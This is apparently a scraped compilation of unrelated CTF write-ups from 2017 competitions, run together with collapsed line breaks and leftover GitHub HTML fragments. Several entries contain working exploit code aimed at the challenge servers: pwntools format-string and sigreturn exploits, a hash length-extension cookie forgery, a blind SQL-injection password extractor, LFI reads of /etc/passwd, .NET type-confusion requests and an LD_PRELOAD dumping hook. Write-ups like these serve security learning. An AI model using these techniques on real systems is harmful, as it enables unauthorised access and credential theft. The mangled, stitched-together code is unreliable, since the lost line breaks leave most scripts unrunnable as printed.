printf("Rev! Rev! Rev!\nYour input: "); stdin = fdopen(0, "r"); fgets(s, 1024, stdin); if (strcmp(s, "maybe_flag_is_here\n") == 0) { puts("Success!"); } else { puts("Invalid!"); } return (0);}```As preferred location of flag was detected, we can examine the binary for flag,let's look in radare2:
* main function:
You can see in disassembly that program outputs info calling functions puts() and printf(), after that it reads from stdin with fgets() and stores input in local variable `local_2dh`.
* continue of main:
After getting the input, program applies several functions to content of varibale `local_2dh` (you may guess that it is kind of encryption), and later, the most important part, program compares `local_2dh` with some value at address `0x804a038`.
Let's look at this value at runtime.
For this you need to open binary in gdb `$ gdb rev`, and set breakpoint to location of strcmp so we can see two compared pointers in the stack`(gdb) b *0x804866d`.
Now we can run program in debugger:
```(gdb) rStarting program: /home/user/ctf/twctf/rev1/revRev! Rev! Rev!Your input: AAAAA
Breakpoint 1, 0x804866d in ?? ()(gdb)```
Read two pointers from stack and check their content:
```(gdb) x/2wx $esp0xffffd550: 0xffffd57b 0x08048870(gdb) p (char*)0xffffd57b$2 = 0xffffd57b "}}}}}"(gdb) p (char*)0x08048870$3 = 0x8048870 "A)\331e\241\361\341\311\031\t\223\023\241\t\271I\271\211\335a1i\241\361q!\235\325=", <incomplete sequence \325>```
The first vlaue is a pointer to encrypted user input, and the second - to the posible encrypted flag. As we can see on user input chipher just replace characters by some unknown rule. Because of it, we can try to send hidden value to input and check how it will work.
```bash$ printf "A)\331e\241\361\341\311\031\t\223\023\241\t\271I\271\211\335a1i\241\361q\!\235\325=\n" > testcase```Then run gdb and pipe testcase into binary:
```gdb rev(gdb) b *0x804866dBreakpoint 1 at 0x804866d(gdb) r < testcaseStarting program: /home/tor/ctf/twctf/rev1/rev < testcaseRev! Rev! Rev!Breakpoint 1, 0x0804866d in ?? ()(gdb) x/2wx $esp0xffffd550: 0xffffd57b 0x08048870(gdb) p (char*)0xffffd57b$1 = 0xffffd57b "CTF{qpzisyDnbmboz76oglxpzYdk}"```
Got flag! |
We have [32-bit binary](32_new). Let's examine what this thing do using IDA Pro.
The code is pretty simple. We input string, then put the entered string into ```format``` variable and in the end we print ```format```. How you can see ```printf``` function has only one argument. So, this is can be **format string attack**. Let's check it putting in the binary ```"%x.%x.%x.%x"``` string
Okay, there is format string bug. It means that we can write into an arbitrary memory address. But what and where we should write? If we check the code one more time then we can see interesting function:
This function simply prints the flag. So, the obvious idea to solve this challenge is to change execution flow to above function. Okay, if we can write into arbitrary place, then we should just replace GOT entry of ```exit``` function with the address of the function printing the flag.
[Exploit](exploit.py) that does exactly that, is placed below:
```pythonfrom pwn import *
def main(): pc = remote('163.172.176.29', 9035)
fm = '%34501x%20$hn%33017x%21$hn'
pc.recvline() pc.sendline(fm + (40 - len(fm)) * 'A' + '\x34\xa0\x04\x08' + '\x36\xa0\x04\x08') pc.interactive()
if __name__ == '__main__': main()``` |
Writeup written by @dp_1 - TheRomanXpl0it
[https://theromanxpl0it.github.io/ctf_backdoorctf17/2017/09/24/extend-me.html](https://theromanxpl0it.github.io/ctf_backdoorctf17/2017/09/24/extend-me.html) |
sol.1```# xxd -ps reverse | tr -d "\n" | rev > reverse.txt# xxd -plain -revert reverse.txt reverse.png```sol.2```# xxd -ps reverse | tr -d "\n" | rev | unhex > reverse.png ``` |
## Codefest CTF 2017 - Digging Deeper - Steganography### Problem
Jaime is digging Cersie's grave because he hates her, and he needs to go DEEEP.
Also, see whats up with this zip file.
[https://ctf.codefest.tech/data/attachments/malicious_0a5aca19667459c2b75c384d7a6af48f.zip](https://github.com/kipyegonmark/ctfs/blob/master/Codefest%20CTF%202017/malicious_0a5aca19667459c2b75c384d7a6af48f.zip)
### Solution
Unzipping returns a single text file flag.txt with restricted permissions
$ chmod +r flag.txt
The [text file](https://github.com/kipyegonmark/ctfs/blob/master/Codefest%20CTF%202017/flag.txt) is now readable and returns a hex string which gives the flag when converted to from hex to ascii.
666c61677b6b3333705f75705f793075725f7a6970703372357d
FLAG: __flag{k33p_up_y0ur_zipp3r5}__ |
## Codefest CTF 2017 - RoleReversal - Steganography### Problem
Ms. Airwrecka is carrying out research on how to hide her *cough* questionable *cough* things.
[https://ctf.codefest.tech/data/attachments/cr4ck_7hi5_7ce7aa193db6fd41fc3857602e72fc1d](https://github.com/kipyegonmark/ctfs/blob/master/Codefest%20CTF%202017/cr4ck_7hi5_7ce7aa193db6fd41fc3857602e72fc1d)
### Solution
The problem statement here hints at a hidden file which was successfully retrieved using file carving tool foremost.
foremost -i cr4ck_7hi5_7ce7aa193db6fd41fc3857602e72fc1d
[00000003.png](https://github.com/kipyegonmark/ctfs/blob/master/Codefest%20CTF%202017/00000003.png)
FLAG: __flag{didn'tknowflagscouldbeinimages}__ |
# Baby 0x41414141#### wparks
This problem is a straight forward format string problem. It takes our input,sprintfs it to a buffer, and calls printf on it. Our exploit will be in two parts.
First, we will overwrite the final call to exit to point earlier in the main, allowingmultiple rounds of format string fun.
Second, we will overwrite the got entry for printf with the address of system,allowing execution of our input. Later analysis showed there was a print flag functionthe whole time, but this way is just as easy.
```pythonfrom pwn import *from libformatstr import FormatStrOFFSET = 10SYSTEM = 0x08048570EXIT = 0x0804a034PRINTF = 0x0804a02cMAIN_GETS = 0x0804876c
#r = remote("localhost", 2015)r = remote("163.172.176.29", 9035)print r.recv(1024)
p = FormatStr()p[EXIT] = MAIN_GETSp[PRINTF] = SYSTEMpayload = p.payload(10, start_len=70)raw_input("wait")r.send(payload +"\n")#At this point, we have a successful loop back around
r.interactive()
``` |
[writeup by @abiondo]
**CTF:** BackdoorCTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Extends Me
**Points:** 250
In this challenge we were faced with a web application for which we had [the source code](./EXTEND-ME.zip). We were presented with a login screen with just a username field. The logic comes from `server.py`:
```[email protected]('/login',methods = ['GET', 'POST'])def login(): if request.method == 'POST': if not request.form.get('username'): return render_template('login.html') else: username = str(request.form.get('username')) if request.cookies.get('data') and request.cookies.get('user'): data = str(request.cookies.get('data')).decode('base64').strip() user = str(request.cookies.get('user')).decode('base64').strip() temp = '|'.join([key,username,user]) if data != SLHA1(temp).digest(): temp = SLHA1(temp).digest().encode('base64').strip().replace('\n','') resp = make_response(render_template('welcome_new.html',name = username)) resp.set_cookie('user','user'.encode('base64').strip()) resp.set_cookie('data',temp) return resp else: if 'admin' in user: # too lazy to check properly :p return "Here you go : CTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" else: return render_template('welcome_back.html',name = username) else: resp = make_response(render_template('welcome_new.html',name = username)) temp = '|'.join([key,username,'user']) resp.set_cookie('data',SLHA1(temp).digest().encode('base64').strip().replace('\n','')) resp.set_cookie('user','user'.encode('base64').strip()) return resp
else: return render_template('login.html')```
There's a base64-encoded cookie named `user` (with value "user" by default) which has to contain the string "admin" to print the flag. Another base64-encoded cookie, `data`, is the hash of a secret key, the login username and the decoded `user` cookie joined by `|`. If we change `user` we also have to recalculate the hash, otherwise the code will just change it back to its default value and we won't get our flag. We don't know the secret key, so we can't do this trivially. Let's look into the hash and see if there's a way out.
The code uses SLHA1, a custom variation on SHA1. Like SHA1, it is a Merkle–Damgård hash function. This means that the hash of a block only depends on the block and on the _hash_ of the precedent blocks. In other words, if we have the hash for a message, we can calculate the hash of the message with arbitrary data appended. This is known as _length extension attack_. Since the secret key is at the beginning and `user` at the end, we want to append "admin" to the `user` cookie.
The first step in doing so is figuring out the padding. SLHA1 works on fixed-size 64-byte blocks, so there must be padding added when hashing arbitrarily long strings. This is important because our appended data will come _after_ the padding for the original message. We know `SLHA1(message | padding)`, and we will calculate `SLHA1(message | padding | "admin")` to use `"user" | padding | "admin"` as `user` (assuming the original value was `"user"`). Padding is handled by this function in `hash.py`:
```pythondef _produce_digest(self): message = self._unprocessed message_byte_length = self._message_byte_length + len(message) message += b'\xfd' message += b'\xab' * ((56 - (message_byte_length + 1) % 64) % 64) message_bit_length = message_byte_length * 8 message += struct.pack(b'>Q', message_bit_length) h = _process_chunk(message[:64], *self._h) if len(message) == 64: return h return _process_chunk(message[64:], *h)```
The padding consists of a `0xfd` byte, followed by as many `0xab` bytes as needed, followed by a big-endian quadword equal to the unpadded message length in bits. This means that we need to know the original message length to calculate the padding. Fortunately, it's something we can easily bruteforce later. Now that we know how to generate padding, let's write some code to perform the attack:
```pythondef extend(digest, length, ext): pad = '\xfd' pad += '\xab' * ((56 - (length + 1) % 64) % 64) pad += struct.pack('>Q', length * 8) slha = SLHA1() slha._h = [struct.unpack('>I', digest[i*4:i*4+4])[0] for i in range(6)] slha._message_byte_length = length + len(pad) slha.update(ext) return (pad + ext, slha.digest())```
This function takes the original digest, the length of the original message, and the extension we want as suffix. First, it calculates the padding to generate `pad | ext`, which will be our actual extension. Then it injects the original hash and length into the hash engine. At this point, due to its construction, the state of the hash function is exactly the same as if it had just hashed `message | padding`. Finally, it feeds the extension to the hash function and calculates the digest.
All we have to do is extend the hash with "admin" and use `"user" | padding | "admin"` as the `user` cookie, while bruteforcing the original length. Here's the script:
```python#!/usr/bin/python2
from hash import SLHA1import structimport requests
def extend(digest, length, ext): pad = '\xfd' pad += '\xab' * ((56 - (length + 1) % 64) % 64) pad += struct.pack('>Q', length * 8) slha = SLHA1() slha._h = [struct.unpack('>I', digest[i*4:i*4+4])[0] for i in range(6)] slha._message_byte_length = length + len(pad) slha.update(ext) return (pad + ext, slha.digest())
post = { 'username': 'admin'}cookies = { 'data': '2L+JUplcB7+OBmCXaa3srMrfoMbLTGz1', 'user': 'dXNlcg=='}
orig_digest = cookies['data'].decode('base64')orig_user = cookies['user'].decode('base64')
min_len = len('|'.join(['?', post['username'], orig_user]))for length in range(min_len, min_len+64): print('[+] Trying length: {}'.format(length)) ext, new_digest = extend(orig_digest, length, 'admin') cookies['data'] = new_digest.encode('base64').strip().replace('\n', '') cookies['user'] = (orig_user + ext).encode('base64').strip().replace('\n', '') r = requests.post('https://extend-me-please.herokuapp.com/login', data=post, cookies=cookies) if 'CTF{' in r.text: print(r.text) break```
And we get the flag:
```[+] Trying length: 30Here you go : CTF{4lw4y3_u53_hm4c_f0r_4u7h}```
As shown in other writeups, there's also a simpler solution that exploits the absence of a check for `|` in the username. |
# Fun Signal#### wparks
We are given a standard pwnable setup of a binary and remote address and port.Throwing the binary into hopper shows a very short program.
It makes two syscalls. The first reads information onto the stack, and the secondcalls sigreturn. While building our own sigreturn frames looks like it could bea little complex, pwntools takes care of this for us easily.
Now that we have arbitrary control, we need to figure out what to do. The providedbinary has a fake flag in the binary, so printing it out should suffice, using thewrite syscall. Pwntools makes this really easy.
```pythonfrom pwn import *
#r = remote("localhost", 2015)r = remote("163.172.176.29", 9034)frame = SigreturnFrame(arch='amd64')frame.rax = 1 #syscall numberframe.rdi = 1 #syscall FDframe.rsi = 0x0000000010000023 #buff addrframe.rdx = 0x50 #lengthframe.rip = 0x10000012 #syscall inst addrframe.rsp = 0exp = str(frame)r.send(exp)r.interactive()
``` |
# open-design**Description**: TODO
## The challenge
The challenge provided access to a server via ssh login as an unprivileged user.Logging in to the server, we see a single binary in the user's home directory:
```bash$ ls---x--x--x 1 root root 0 24. Sep 21:47 open-design```
I didn't even know you could have executable but non-readable files on Linux.But, to my surprise, executing it works just fine!
```bash$ ./open-design$```
Nothing interesting happens though. We need to find out more about what that binary does.Unfortunately, just as the permissions say, we really cannot read it:
```bash$ cat ./open-designcat: ./open-design: Permission denied```
Before we can progress any further, we need to find a way to get access to the binary.
## Gathering knowledge: dumping the binary
While we cannot read the binary from the file system, Linux must load it into memory for execution.Therefore, if we manage to inject code into our target process, we can dump the memory content and retrieve the binary this way.
Luckily for us, the program is dynamically linked (a quick `env LD_DEBUG=all ./open-design` confirms that it loads dynamic libraries).This means that function references are resolved at run-time.We can make the linker look for symbols in our own library *first* by using [`LD_PRELOAD=./our-own-library.so`](http://nairobi-embedded.org/elf_ld_preload.html). Any symbol we define in our own library will take precedence over symbols defined in other libraries, so we can effectively replace any dynamically linked function with our own implementation.
What would be a good target to replace? During the CTF, I used some other targets first but in the end I settled on `__libc_start_main`.The function is called early during program startup to setup everything and then launch into the real `main`.Overriding this function gives us a lot of control, while at the same time not destroying normal function of the program, because we can just call the original `__libc_start_main` at the end of our hook.
To dump the binary, we can override the `main` function pointer that is passed to `__libc_start_main` to run our own function as if it was the main function of the binary:
```c// our own implementation of __libc_start_main (I copied the function signature from Google search results :)int __libc_start_main (int (*main)(int, char**, char**), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { // lookup the original __libc_start_main (yes, c function pointer syntax is weird) int (*real_start_main)(int (*main) (int, char**, char**), int argc, char** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) = dlsym(RTLD_NEXT, "__libc_start_main");
// call original __libc_start_main, but replace "main" with our custom implementation return real_start_main(&custom_main, argc, ubp_av, init, fini, rtld_fini, stack_end);}```(Note: to compile this code, you need to `#define _GNU_SOURCE` before `#include <dlfcn.h>` or the `RTLD_NEXT` constant is not defined)
In our custom main, we dump the binary. To figure out which part of the memory to dump, we read the file `/proc/self/maps`, which tells us whichpart of the binary is loaded at which point in memory:
```cint custom_main(int argc, char** argv, char** envp) { // parse /proc/self/maps and dump it FILE* maps = fopen("/proc/self/maps", "r"); size_t n = 0; char* line = NULL; while(getline(&line, &n, maps) >= 0) { // skip mappings which don't belong to open design if(!strstr(line, "open-design")) continue;
// parse start/end address from line char* start = (char*)strtoll(strtok(line, "-"), NULL, 16); char* end = (char*)strtoll(strtok(NULL, " "), NULL, 16);
// dump to file char outname[100]; snprintf(outname, 100, "dump.%llx", (long long)start); FILE* out = fopen(outname, "wb"); fwrite(start, 1, (long long)(end - start), out); fclose(out); }
free(line); fclose(maps);
printf("dumped process!\n"); return 0;}```
Then we compile this code into a shared library and inject it with `LD_PRELOAD`:
```bash$ gcc -shared -fPIC -Wall dumper.c -o dumper.so$ env LD_PRELOAD=./dumper.so ~/open-designdumped process!```
If everything goes well, we should end up with three files `dump.400000, dump.600000, dump.601000` in the current directory.
## Reversing: analyzing the binary
If we take a look at the files we've got, we find that the binary was mapped at address `0x600000` since that contains the elf headers:
```bash$ file dump.600000dump.600000: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers```
It is missing the section headers, because those are located at the end of the binary.But the binary is small enough that `dump.601000` which is a segment directly after `dump.600000` contains the section headers.We can just `cat` both dumps together to obtain an almost complete binary:
```bash$ cat dump.600000 dump.601000 > binary$ chmod +x binary```
Now we can load the binary in IDA and take a look at the main function:
```c__int64 __fastcall main(__int64 a1, char **a2, char **a3){ return 0LL;}```
So the binary really didn't do anything at all. But, looking at the imported symbols of the binary we notice that it has references to `puts` and `rand`, which is suspicious for a binary without any code.Following those references, we find a hidden function at address `0x400666`:
```c__int64 __fastcall sub_400666(const char *a1){ char v1; // bl@9 signed int seed; // [sp+10h] [bp-50h]@1 int i; // [sp+14h] [bp-4Ch]@1 int j; // [sp+14h] [bp-4Ch]@4 signed int k; // [sp+14h] [bp-4Ch]@8 char v7[34]; // [sp+20h] [bp-40h]@5 char v8; // [sp+42h] [bp-1Eh]@11 __int64 v9; // [sp+48h] [bp-18h]@1
v9 = v28; seed = 1; for ( i = 0; i < strlen(&s); ++i ) seed += *(&s + i + 1) * *(&s + i) + *(&s + i + 2); for ( j = 0; j < strlen(a1); ++j ) { if ( a1[j] != (v7[j] != *((_BYTE *)qword_400858 + j)) ) return v28 ^ v9; } srand(seed); for ( k = 0; k <= 33; ++k ) { v1 = *((_BYTE *)qword_400858 + k); v7[k] = rand() ^ v1; } v8 = 0; puts(v7); return v28 ^ v9;}```
The code first computes a seed, then compares the argument to some other string and finally prints out a string generated with `rand()`.It is likely that the string printed out at the end is the flag.Because the generated string does not depend on the argument value at all, we can pass `""` for the argument to avoid the check.
To call the function, we can re-use the code from our dumper for replacing `main`, this time calling the function instead of dumping the binary:
```cint custom_main(int argc, char** argv, char** envp) { void (*target_function)(char* arg) = 0x400666; (*target_function)("");}```
Running that the same way as before using `LD_PRELOAD` we obtain the flag. |
## Codefest CTF 2017 - SimplyBlack - Steganography### Problem
Black is not the only black. There are 50 shades of grey.
Flag is 'flag{secret}'.
[https://ctf.codefest.tech/data/attachments/SimplyBlack_b0c707a6fdf259e468663cebafb84451.png](https://github.com/kipyegonmark/ctfs/blob/master/Codefest%20CTF%202017/SimplyBlack_b0c707a6fdf259e468663cebafb84451.png)
### Solution
The problem statement hints at colour inversion. Opening the image using StegSolve and applying Colour Inversion(Xor) returns the flag
FLAG: __flag{LETHAL}__ |
Check the link for a more detailed writeup* x86 boot sector executes entirely in 16-bit real mode* 20 character flag buffer with simple checking algorithm* calculates the sum of absolute differences of each byte between two registers, one containing slightly modified flag input, the other with known constants* compares the results with an array of expected results* solved using Z3/python |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>2017</span></span><span>/</span><span><span>CSAW</span></span><span>/</span>Auir_200<span>/</span> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>auir</span> </div>
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Backdoor CTF 2017: No-Calm-------
**Catégorie**: Reverse **Points**: 350
Write up-------
Code source en python:
```python import angrimport claripy
"""Lorsqu'on lance le programme on a :"Usage ./challenge <each byte of flag seperated by spaces>"
=> il va falloir faire quelque chose du genre ./challenge f l a g
Au début du programme on trouve un
cmp dword [local_44h], 0x1f
Le programme prends donc 30 paramètres (le 1er étant le nom du programme)
On en déduis que le flag fait 30 chars, il reste plus qu'a scripter le tout avec angrOn peut surement faire plus propre avec des boucles mais bon x)"""
p = angr.Project('challenge', load_options={"auto_load_libs": False})
arg1 = claripy.BVS('arg1', 2*8)arg2 = claripy.BVS('arg2', 2*8)arg3 = claripy.BVS('arg3', 2*8)arg4 = claripy.BVS('arg4', 2*8)arg5 = claripy.BVS('arg5', 2*8)arg6 = claripy.BVS('arg6', 2*8)arg7 = claripy.BVS('arg7', 2*8)arg8 = claripy.BVS('arg8', 2*8)arg9 = claripy.BVS('arg9', 2*8)arg10 = claripy.BVS('arg10', 2*8)arg11 = claripy.BVS('arg11', 2*8)arg12 = claripy.BVS('arg12', 2*8)arg13 = claripy.BVS('arg13', 2*8)arg14 = claripy.BVS('arg14', 2*8)arg15 = claripy.BVS('arg15', 2*8)arg16 = claripy.BVS('arg16', 2*8)arg17 = claripy.BVS('arg17', 2*8)arg18 = claripy.BVS('arg18', 2*8)arg19 = claripy.BVS('arg19', 2*8)arg20 = claripy.BVS('arg20', 2*8)arg21 = claripy.BVS('arg21', 2*8)arg22 = claripy.BVS('arg22', 2*8)arg23 = claripy.BVS('arg23', 2*8)arg24 = claripy.BVS('arg24', 2*8)arg25 = claripy.BVS('arg25', 2*8)arg26 = claripy.BVS('arg26', 2*8)arg27 = claripy.BVS('arg27', 2*8)arg28 = claripy.BVS('arg28', 2*8)arg29 = claripy.BVS('arg29', 2*8)arg30 = claripy.BVS('arg30', 2*8)
initial_state = p.factory.entry_state(args=['./ch24.bin',arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12,arg13,arg14,arg15,arg16,arg17,arg18,arg19,arg20,arg21,arg22,arg23,arg24,arg25,arg26,arg27,arg28,arg29,arg30], add_options={angr.options.LAZY_SOLVES})pg = p.factory.simgr(initial_state)
pg.explore(find=0x4007b6,avoid=0x4007cc)
found = pg.found[0]flag = ""flag += found.se.any_str(arg1)flag += found.se.any_str(arg2)flag += found.se.any_str(arg3)flag += found.se.any_str(arg4)flag += found.se.any_str(arg5)flag += found.se.any_str(arg6)flag += found.se.any_str(arg7)flag += found.se.any_str(arg8)flag += found.se.any_str(arg9)flag += found.se.any_str(arg10)flag += found.se.any_str(arg11)flag += found.se.any_str(arg12)flag += found.se.any_str(arg13)flag += found.se.any_str(arg14)flag += found.se.any_str(arg15)flag += found.se.any_str(arg16)flag += found.se.any_str(arg17)flag += found.se.any_str(arg18)flag += found.se.any_str(arg19)flag += found.se.any_str(arg20)flag += found.se.any_str(arg21)flag += found.se.any_str(arg22)flag += found.se.any_str(arg23)flag += found.se.any_str(arg24)flag += found.se.any_str(arg25)flag += found.se.any_str(arg26)flag += found.se.any_str(arg27)flag += found.se.any_str(arg28)flag += found.se.any_str(arg29)flag += found.se.any_str(arg30)
print "FLAG : {}".format(flag)```
[Lien](https://github.com/Inshallhack/Write-ups/blob/master/BackdoorCTF-2017/No-Calm/solve.py)
|
# A talkative Server
En se rendant sur la page image.php, on constate que la page, après avoir affiché une image continue son chargement.
À l’aide de curl, on inspecte ce qu’il se passe au niveau des trames :```curl -H --url https://a-talkative-server.dctf-quals-17.def.camp/image.php```
On constate alors que pas mal de données sont envoyées :
On redirige le flux en sortie dans un fichier temporaire, qui prend la forme d’une archive.
```curl -H --url https://a-talkative-server.dctf-quals-17.def.camp/image.php > out```
Après extraction on obtient un fichier data d’environ 11Go, on le parse avec strings.```strings out```Et au bout d’un certain temps...
Puis on enlève tout ce qui ne ressemble pas à de l’hexadécimal,FLAG ! |
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WEB 1 :-------
Is nano good? (Junior - 2 pcts.)--------------------------------
----------
This is our new admin platform interface. Can you test it? [Visit website](https://junior2.dctf-quals-17.def.camp/?page=theme/admin/login)
----------
https://junior2.dctf-quals-17.def.camp/?page=theme/admin/login
from title of the challenge (nano) , I added ~ to index.php
https://junior2.dctf-quals-17.def.camp/index.php~
i get the source code of the page
```php
```
by this source we see LFI and filtres on $page and conditions ,
/ = //
type = value
parameters :
https://junior2.dctf-quals-17.def.camp/?type=a&page=//etc//passwd
DCTF{7569fd:x:1001:1001::/home/DCTF{7569fd: 4bf5b7ded2f:x:1002:1002::/home/4bf5b7ded2f: c48b33a7972:x:1003:1003::/home/c48b33a7972: c0752d13db4:x:1004:1004::/home/c0752d13db4: 32ff9930a99:x:1005:1005::/home/32ff9930a99: 6c567ea3321:x:1006:1006::/home/6c567ea3321: 13b}:x:1007:1007::/home/13b}:
flag : DCTF{7569fd4bf5b7ded2fc48b33a7972c0752d13db432ff9930a996c567ea332113b}
|
1. Disassemble DCTFNetCoreWebApp.dll using dotPeek.2. Authenticate```abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{ "Action": "authenticate" } }' https://dotnot.dctf-quals-17.def.camp/api/command
{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"authenticate","Query":null,"Value":null,"Response":null,"Error":null}```
3. Leak class name```abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"System.Guid", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
Type specified in JSON 'System.Guid, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e' is not compatible with 'DCTFNetCoreWebApp.Models.Command, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path 'Command.$type', line 1, position 33.```
4. Cast Command to AdminCommand and call ReadFlag
```abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"Readflag","Query":null,"Value":null,"Response":"DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}\n","Error":null}```
Flag is `DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}`
Abatchy |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>BackdoorCTF 2017</span></span><span>/</span>NO-CALM-REV350<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFs</span></span></span><span>/</span><span><span>BackdoorCTF 2017</span></span><span>/</span>NO-CALM-REV350<span>/</span></div>
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I was actually a little disappointed it wasn't actual chess. Nevertheless, a fairly straightforward challenge.
Trying a few test moves, it's fairly difficult to determine whether a move will leave a standing king just by examining the move - I'm sure there's a pattern behind it.Fortunately for us, no pattern analyzation is required - counting spaces moving to themselves (i.e. e2-e2), there's only 4096 possibilities for possible first moves, which is all we care about. This number is within the range of brute forcing.Unfortunately, there's no way to reset the program from within - the process must be killed and restarted for every iteration. Another member of b01lers used pwntools, I used bash scripts.
First step to brute force is getting the program to accept input piped into it - this is done by replacing raw_input with sys.stdin.readline and sanitizing the input.Next step is a simple bash script of 4 nest for loops to test every iteration of starting square and ending square. I didn't do any output sanitization, so the output file is quite large - almost 6 MB of text.Pipe it into less and save, send the output to a file.
Once you have every move combination, grep 'K' chessOut.txt will show every king position, and piping that output into sort -u returns unique king positions - format these as specified, hash it, and you have your flag. |
All the ransomware.py really does is add some data onto the beginning and end of what we're after. My solution was to write this script.```#!/usr/bin/python
f = file("lock.iso")
data = f.read()
#You can see exactly where the beginnings and ends of the added blocks are. #I just searched for them, and pulled out everything between.x = x = data[data.index('\x55\x64\x24\x02')+4:data.index('\x83\x1a\x34\xcd')]file("backup-recreate.zip","w").write(x)
#Then just unzip it. Flag is: DCTF{474dac08d29d013515a312d1a8460050634f9b3cb6a696a4c73652d1802a1872}``` |
The key factor is to analyze the preg_match condition and see if there are any characters that escape the matches.
Afterwhich, construct a query that is similar to `1=1` of the usual sql injection and terminate the query. |
## DefCamp CTF Qualification 2017 - HEX Warm Up### Problem
A friend of mine is learning about encryption and now is challenging me to break it! Can you give it a go? [Download](https://dctf.def.camp/quals-2017-kalskflsafkl/junior3.zip)
### Solution
Unzipping returns a python script and an iso file.
The quick and dirty way to solve this task involves running binwalk on the iso file. This returns a text file containing the flag.
$ binwalk -e lock.iso |
We’re given a website with an LFI vulnerability in its page parameter. This was used to leak index.php, and then subsequently bypass a check in the local file inclusion for the hardcoded '/etc/passwd' with '/etc/./passwd'. |
## DefCamp CTF Qualification 2017 - No that kind of network### Problem
I like to write and move all around the world. But do you know my story? [Download](https://dctf.def.camp/quals-2017-kalskflsafkl/kingofstone.pcapng)
### Solution
$ strings kingofstone.pcapng | grep DCTF
FLAG: __DCTF{2d9895ecea1081b2241398d1b2c94eaf5be3bfaffec1ad946ed0a68ae95f8ed9}__ |
You get ten copies of *Sentimental Education: The Story of a Young Man* with a certain difference between them.
The flag is in each of these differences. I didn't want to reinvent the wheel, since Python's so good already for analyzing texts,so I at least did enough Googling to find out about difflib. I then spent a little time hacking together soln.py...```#!/usr/bin/python
import difflibfrom subprocess import Popen, PIPE
files = [(str(i).rjust(4, '0') + '.txt') for i in range(1,11)]output_lines = []
for f1 in range(len(files)-1): f2 = f1+1 p = Popen(['diff', files[f1], files[f1+1]], stdout=PIPE) lines = p.stdout.readlines()[1::2] for line in lines: output_lines.append(line)
guess = ''#Each of these sections look breakable into foursfor i in range(0,len(output_lines),2): print str(i) + "..." original = output_lines[i][2:] replaced = output_lines[i+1][2:] print original print replaced diff = '' for x in difflib.ndiff(original[2:],replaced[2:]): if x.startswith('+'): diff += x[2:] print diff.replace(' ','') guess += diff.replace(' ','')
print "This your flag?: " + guess # DCTF{7ba610cc5da3966b7c64a81c3cfcdb1b1d09e3de5ad1189268bf0e618ff71f08}'``` |
It is simple SQL-injection in the username field.
```pythonimport requestsimport sys
URL = 'http://163.172.176.29/WALL/index.php'
password = ''
while True: flag = False for e in '0123456789abcdef': r = requests.post(URL, data={"life":"' or password like '{}{}%' --".format(password, e), "soul":""}) if "No such person" not in r.text: password += e print(password, r.text[53:-17]) flag = True break if flag: continue exit()``` |
We're given the link to a login form, and the name of the user that we're trying to log in as. On the login page, we're given the source code for the login feature.
```php
<html><head><title>The Wall</title></head><body>"; echo $message; die(); } $query = "SELECT * FROM users WHERE username='$username'"; $result = $pdo->query($query); $users = $result->fetchArray(SQLITE3_ASSOC);
if($users) { if($password == $users['password']){ if($users['role']=="admin"){ echo "Here is your flag: $flag"; }elseif($users['role']=="normal"){ $message = "Welcome, ".$users['users'].""; $message.= "Unfortunately, only Lord Commander can access flag"; }else{ $message = "What did you do?"; } } else{ $message = "Wrong identity for : ".$users['username']; }
} else{ $message = "No such person exists".""; } echo $message;}else{ header( "refresh:1;url=login.html"); die("Only living can cross The Wall");}?>
</body></html>
```
By looking at the php, we can see that there's a classic example of an SQL injection vulnerability in the following code:
```php $query = "SELECT * FROM users WHERE username='$username'"; $result = $pdo->query($query); $users = $result->fetchArray(SQLITE3_ASSOC);```
If we insert a username containing a ', we can end the where clause and insert our own SQL commands into the query.
Normally at this point, I'd try to pull information out of the database using the UNION command, but the php code filters any form of "union" in the input, so we need to find a different way.
By messing around with the login form and looking at the source code, we noticed that we get different outputs depending on whether or not the SELECT statement returned at least 1 user. When the SELECT statement finds a user, and we give the wrong password, we get an output of "Wrong identity for : ".$users['username'], but when we don't find a valid user we get an output of "No such person exists". As such, we can insert code into the SQL query that will cause the SELECT to only return a user conditional on some information about their password.
The way we did this is by adding onto the WHERE clause: we used a username of the form "LordCommander' AND password LIKE 'a%", in order to find whether or not the password starts with an a (the % sign in SQL is a wildcard character, so a% matches any string starting with an a). When inserted into the SQL query string, the query becomes:
```sql"SELECT * FROM users WHERE username='LordCommander' AND password LIKE 'a%'"```
